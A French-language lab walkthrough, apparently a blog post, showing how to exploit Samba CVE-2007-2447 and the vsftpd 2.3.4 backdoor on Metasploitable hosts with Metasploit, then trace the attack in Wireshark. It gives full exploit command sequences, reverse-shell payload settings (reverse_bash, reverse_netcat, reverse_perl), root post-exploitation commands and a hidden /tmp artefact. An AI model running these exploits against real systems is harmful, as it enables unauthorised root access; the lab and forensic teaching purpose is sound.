Exploitation des vulnérabilités Samba et vsftpd sous Linux avec Metasploit et analyse forensique via Wireshark

Principes des vulnérabilités ciblées

L'exploitation des services réseau sous Linux repose souvent sur des failles historiques non corrigées dans des environnements legacy. Cette analyse se concentre sur deux vecteurs d'attaque majeurs :

  • Samba usermap_script (CVE-2007-2447) : Cette faille affecte les versions de Samba comprises entre 3.0.20 et 3.0.25rc3. Le service ne filtre pas correctement les noms d'utilisateurs lors de l'exécution du script de mappage. Un attaquant peut ainsi injecter des commandes shell via le champ du nom d'utilisateur, entraînant une exécution de code à distance (RCE) sans authentification.
  • vsftpd 2.3.4 Backdoor : Une porte dérobée malveillante a été introduite dans le code source de cette version du serveur FTP. Lorsqu'une tentative de connexion est effectuée avec un nom d'utilisateur contenant la chaîne :), le service ouvre secrètement un port d'écoute TCP (généralement le port 6200), offrant un shell interactif sans nécessiter de mot de passe.

Configuration du laboratoire de test

L'environnement de test est isolé dans un réseau virtuel. Les adresses IP ont été configurées pour refléter une topologie de sous-réseau standard.

Rôle Système d'exploitation Adresse IP Service ciblé
Machine attaquante Kali Linux 10.10.14.5 Metasploit, Wireshark
Cible 1 Ubuntu (Metasploitable) 10.10.14.10 Samba
Cible 2 Linux (Metasploitable) 10.10.14.20 vsftpd

Pour configurer manuellement l'interface réseau de la cible sous Ubuntu, les commandes suivantes sont appliquées via les outils iproute2 :

ip addr add 10.10.14.10/24 dev eth0
ip route add default via 10.10.14.1

Exploitation de la faille Samba (CVE-2007-2447)

Avant de lancer l'attaque, la connectivité réseau est vérifiée depuis la machine Kali :

ping -c 3 10.10.14.10

Une fois la cible confirmée active, le framework Metasploit est initialisé pour configurer le module d'exploitation et la charge utile (payload) :

msf6 > search type:exploit platform:linux name:samba usermap
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > show payloads
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.14.10
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.5
msf6 exploit(multi/samba/usermap_script) > set LPORT 4433
msf6 exploit(multi/samba/usermap_script) > check
[*] 10.10.14.10:139 - The target appears to be vulnerable.
msf6 exploit(multi/samba/usermap_script) > run

Après l'établissement de la session inversée, les commandes de post-exploitation sont exécutées pour valider les privilèges et l'environnement :

id
uid=0(root) gid=0(root) groups=0(root)

ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ... inet 10.10.14.10/24 ...

cat /etc/issue
Ubuntu 8.04 \n \l

Exploitation de vsftpd et capture de trafic réseau

Pour la seconde cible, une approche d'attaque et de défense (Blue Team / Red Team) est simulée. Wireshark est lancé sur l'interface virtuelle de la machine attaquante avec le filtre d'affichage suivant pour isoler le trafic :

ip.addr == 10.10.14.5 && ip.addr == 10.10.14.20

L'exploitation de la porte dérobée vsftpd est ensuite déclenchée :

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.14.20
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.14.20:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.14.20:21 - USER: [Username] :)
[+] 10.10.14.20:21 - Backdoor service is listening on port 6200
[*] Command shell session 1 opened

Des artefacts sont créés sur la cible pour simuler une activité malveillante persistante :

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP ...

mkdir -p /tmp/.hidden_cache
echo "compromised_node_2" > /tmp/.hidden_cache/status.log
ls -la /tmp/.hidden_cache/

Analyse forensique du trafic capturé

L'analyse du fichier PCAP généré par Wireshark permet de reconstituer la cinématique de l'attaque :

  1. Initialisation FTP : Les paquets SYN/ACK sur le port 21 confirment l'établissement de la session de contrôle FTP.
  2. Déclenchement du Backdoor : Le paquet contenant la commande USER admin:) est clairement visible. C'est le caractère smiley qui force le daemon vsftpd à binder le port 6200.
  3. Connexion au shell : Une nouvelle poignée de main TCP (three-way handshake) est observée entre le port éphémère de l'attaquant et le port 6200 de la cible.
  4. Extraction des commandes : En utilisant la fonctionnalité Follow TCP Stream sur le flux du port 6200, l'analyste peut extraire en texte clair les commandes uname -a et les opérations de création de fichiers dans /tmp, prouvant l'exécution de code à distance.

Résolution des problèmes d'exploitation courants

Lors de l'exécution des modules Metasploit, l'erreur Exploit completed, but no session was created peut survenir. Ce comportement est généralement dû à :

  • Un pare-feu local sur la machine attaquante bloquant les connexions entrantes sur le LPORT spécifié. Il est recommandé de désactiver temporairement ufw ou iptables pendant les tests.
  • L'utilisation d'une machine cible incompatible (par exemple, tanter l'exploit vsftpd sur une machine où seul Samba est vulnérable). Il est impératif de vérifier la version exacte des services avec des outils de scan comme Nmap avant de sélectionner le module.
  • Un payload inadapté à l'architecture de la cible. Si cmd/unix/reverse_bash échoue, il faut basculer vers cmd/unix/reverse_netcat ou cmd/unix/reverse_perl selon les binaires disponibles sur le système cible.

Étiquettes: metasploit Wireshark Samba vsftpd Linux

Publié le 11 août à 04h12